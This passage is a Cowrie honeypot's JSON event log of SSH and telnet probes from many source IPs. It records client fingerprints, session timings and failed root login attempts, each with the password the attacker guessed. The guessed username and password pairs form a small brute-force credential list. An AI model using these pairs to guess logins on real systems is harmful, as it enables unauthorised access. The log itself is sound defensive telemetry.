cdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:41.120481Z","src_ip":"43.153.69.201","session":"a2a41ce11372","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Samora4u","message":"login attempt [root/1Samora4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:41.423102Z","src_ip":"43.153.69.201","session":"a2a41ce11372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:42.495114Z","src_ip":"43.153.69.201","session":"a2a41ce11372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":51588,"dst_ip":"10.17.0.5","dst_port":22,"session":"b506f5360bc5","protocol":"ssh","message":"New connection: 109.237.96.109:51588 (10.17.0.5:22) [session: b506f5360bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:43.011339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:43.085682Z","src_ip":"109.237.96.109","session":"b506f5360bc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:43.148605Z","src_ip":"109.237.96.109","session":"b506f5360bc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12312312","message":"login attempt [root/12312312] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:43.504830Z","src_ip":"109.237.96.109","session":"b506f5360bc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:44.607845Z","src_ip":"109.237.96.109","session":"b506f5360bc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.69563698768616,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:47.369996Z","src_ip":"152.42.224.71","session":"3c331663223c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":47036,"dst_ip":"10.17.0.5","dst_port":22,"session":"9196f7790fff","protocol":"ssh","message":"New connection: 79.132.141.112:47036 (10.17.0.5:22) [session: 9196f7790fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:48.311125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:48.318192Z","src_ip":"79.132.141.112","session":"9196f7790fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:48.410282Z","src_ip":"79.132.141.112","session":"9196f7790fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"remove","message":"login attempt [root/remove] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:48.794180Z","src_ip":"79.132.141.112","session":"9196f7790fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:49.885170Z","src_ip":"79.132.141.112","session":"9196f7790fff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":53628,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca19227abcc5","protocol":"ssh","message":"New connection: 103.98.149.87:53628 (10.17.0.5:22) [session: ca19227abcc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:52.003627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:52.009883Z","src_ip":"103.98.149.87","session":"ca19227abcc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:52.239552Z","src_ip":"103.98.149.87","session":"ca19227abcc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ybccfy","message":"login attempt [root/ybccfy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:53.005968Z","src_ip":"103.98.149.87","session":"ca19227abcc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:54.355562Z","src_ip":"103.98.149.87","session":"ca19227abcc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.472261905670166,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:57.775222Z","src_ip":"152.42.224.71","session":"d281226c14d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":34682,"dst_ip":"10.17.0.5","dst_port":22,"session":"217bfd7a4e0d","protocol":"ssh","message":"New connection: 170.106.119.118:34682 (10.17.0.5:22) [session: 217bfd7a4e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:58.861646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:58.867056Z","src_ip":"170.106.119.118","session":"217bfd7a4e0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:58.936287Z","src_ip":"170.106.119.118","session":"217bfd7a4e0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexalex","message":"login attempt [root/alexalex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:59.242281Z","src_ip":"170.106.119.118","session":"217bfd7a4e0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":35692,"dst_ip":"159.203.135.109","dst_port":22,"session":"daea696cccdc","protocol":"ssh","message":"New connection: 89.108.118.91:35692 (159.203.135.109:22) [session: daea696cccdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:00.205934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:00.213565Z","src_ip":"89.108.118.91","session":"daea696cccdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:00.314053Z","src_ip":"170.106.119.118","session":"217bfd7a4e0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:00.628742Z","src_ip":"89.108.118.91","session":"daea696cccdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":52992,"dst_ip":"10.17.0.5","dst_port":22,"session":"30842c0bdeb2","protocol":"ssh","message":"New connection: 58.186.20.143:52992 (10.17.0.5:22) [session: 30842c0bdeb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:01.682292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:01.688806Z","src_ip":"58.186.20.143","session":"30842c0bdeb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:01.937499Z","src_ip":"58.186.20.143","session":"30842c0bdeb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia6303","message":"login attempt [root/nokia6303] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:02.015391Z","src_ip":"89.108.118.91","session":"daea696cccdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin88","message":"login attempt [root/admin88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:02.954587Z","src_ip":"58.186.20.143","session":"30842c0bdeb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:03.411767Z","src_ip":"89.108.118.91","session":"daea696cccdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.35061001777649,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:04.095910Z","src_ip":"152.42.224.71","session":"7602e3e51c56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:04.205229Z","src_ip":"58.186.20.143","session":"30842c0bdeb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37806,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe2d641db7b3","protocol":"ssh","message":"New connection: 193.32.162.145:37806 (10.17.0.5:22) [session: fe2d641db7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:09.408675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:09.413724Z","src_ip":"193.32.162.145","session":"fe2d641db7b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:09.522899Z","src_ip":"193.32.162.145","session":"fe2d641db7b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doge","password":"doge","message":"login attempt [doge/doge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:09.840862Z","src_ip":"193.32.162.145","session":"fe2d641db7b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:10.949903Z","src_ip":"193.32.162.145","session":"fe2d641db7b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36176,"dst_ip":"10.17.0.5","dst_port":23,"session":"20ae6c87632e","protocol":"telnet","message":"New connection: 152.42.224.71:36176 (10.17.0.5:23) [session: 20ae6c87632e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:12.248509Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":53124,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c26eae4ab93","protocol":"ssh","message":"New connection: 43.153.22.143:53124 (10.17.0.5:22) [session: 5c26eae4ab93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:13.176563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:13.183630Z","src_ip":"43.153.22.143","session":"5c26eae4ab93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:13.254903Z","src_ip":"43.153.22.143","session":"5c26eae4ab93","protocol":"ssh"}
